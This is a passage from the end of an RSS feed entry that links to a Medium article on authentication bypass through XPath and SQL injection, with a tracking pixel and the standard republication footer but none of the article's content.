src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5d8dd34ac9a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/authentication-bypass-with-x-path-injection-and-sql-injection-cyberverse-c5d8dd34ac9a">Authentication Bypass — With X Path injection and SQL injection | CyberVerse</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>